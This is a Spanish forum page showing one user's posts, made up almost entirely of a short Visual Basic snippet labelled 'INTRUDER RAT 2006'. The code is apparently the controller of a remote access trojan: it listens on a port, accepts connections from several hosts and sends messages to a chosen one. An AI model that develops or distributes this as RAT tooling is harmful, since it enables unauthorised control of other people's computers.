Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menú
'PROGRAMADO POR KIZAR
'INTRUDER RAT 2006
'LIBRE DISTRIBUCION MENCIONADO AL AUTOR.
'Declaraciones
dim Selecion As Integer
dim Nue As Integer
'Code
Private Sub Form_Load()
Nue = 0
Winsock_menu(0).Close 'cerramos el puerto aunke al iniciar tiene k estar cerrado.
Winsock_menu(0).LocalPort = "69" 'ponemos el puerto a escuchar
Winsock_menu(0).Listen 'el winsock (0) siempre esta a la escucha y acepta las conexiones con un socket nuevo.
End Sub
Private Sub Winsock_menu_ConnectionRequest(Index As Integer, ByVal requestID As Long)
Nue = Nue + 1
Load Winsock_menu(Nue) 'Creamos un nuevo winsock
Winsock_menu(Nue).Accept requestID 'Aceptamos la conexión
List_inver.ListItems.Add , , Winsock_menu(Nue).RemoteHostIP
End Sub
Private Sub List_inver_DblClick()
Selecion = List_inver.SelectedItem.Index 'esto nos pone en la variable selecion el socket k keremos usar para k solo se mande a uno.
Winsock_menu(Selecion).SendData "algo" 'se manda el mensaje solo a la conexion k se a selecionado.
End Sub